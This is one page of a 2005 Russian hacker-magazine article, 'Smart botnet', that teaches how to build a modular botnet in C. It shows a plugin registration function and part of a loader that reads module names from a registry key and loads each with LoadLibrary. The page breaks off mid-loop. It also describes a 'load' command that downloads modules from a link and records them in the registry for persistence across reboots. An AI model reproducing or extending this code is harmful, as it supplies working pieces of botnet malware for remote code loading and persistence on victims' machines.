Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Умный ботнет

Николай «GorluM» Андреев

Хакер, номер #076, стр. 076-112-4


__declspec(dllexport) BOOL WINAPI InitModule (

BOOL (*a)(char *, ServiceParser),

ServiceParser (*b)(char*),

BOOL (*c)(char *),

BOOL (*d)(char *))

{

RegisterBotnetService = a;

GetBotnetService = b;

IsBotnetService = c;

UnregisterBotnetService = d;

RegisterBotnetService(“message”, MessageServiceParser);

return TRUE;

}

// Функция-парсер для команды message

BOOL WINAPI MessageServiceParser (PSTR szString)

{MessageBox(0,szString,szString,0); return TRUE;}

Подгружаем модуль к каждому боту в сети, передаем адреса сервис-функций через InitModule, регистрируем новую команду. И все – дело сделано: обучили ботнет чему-то новому. Одно только НО – как подгружаем-то? Ведь я так и не показал, как реализовать команду load, так активно юзаемую в начале статьи. Сейчас исправлюсь.

load должна иметь два параметра – имя модуля в системе и линк, откуда этот модуль можно скачать. Опираясь на это, надо написать функцию-парсер. Она - отделит параметры, скачает нужный модуль с линка, запишет его в реестре, подгрузит к боту, а затем найдет и запустит InitModule. Честно говоря, в итоге получается достаточно громоздкий код, приводить который я здесь не буду, но детали объясню.

Скачать модуль можно с помощью уже привычного нам WinInet API. Но что значит «записать в реестре»? Просто информацию о скаченных модулях надо куда-то сохранить, чтобы после перезагрузки системы бот не забыл все, чему его так долго обучали. Оптимальное место для хранения подобной инфы – это реестр. В нем я отвел для наших модулей специальное место, ключ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\botModules. Там через точку с запятой будут располагаться имена файлов скаченных плагинов для бота.

Когда бот при старте захочет подгрузить свои плагины, ему будет достаточно открыть наш ключ с помощью функций работы с реестром (RegCreateKey, RegQueryValueEx etc) и пропарсить его содержимое.

if (RegCreateKey(HKEY_LOCAL_MACHINE, REG_KEY, &hk))

return FALSE;

if(RegQueryValueEx(hk, REG_SUBKEY, 0, 0, (LPBYTE)szRegEntry, &dwBytes))

{ RegCloseKey(hk); return FALSE; }

// получили запись в реестре, парсим

char *sep = ";"; // разделитель

char *lim = szRegEntry + lstrlen(szRegEntry);

char *token;

token = ParseInit(szRegEntry, sep, lim);

if (!token) { RegCloseKey(hk); return FALSE; }

do {

// подгружаю модуль

HMODULE hModule = LoadLibrary(token);

if (!hModule) continue;

// нахожу функцию

LoadFunction InitModule = (LoadFunction)

GetProcAddress(hModule, " InitModule");

if (!InitModule) continue;

// иниализирую модуль

Назад на стр. 076-112-3  Содержание  Вперед на стр. 076-112-5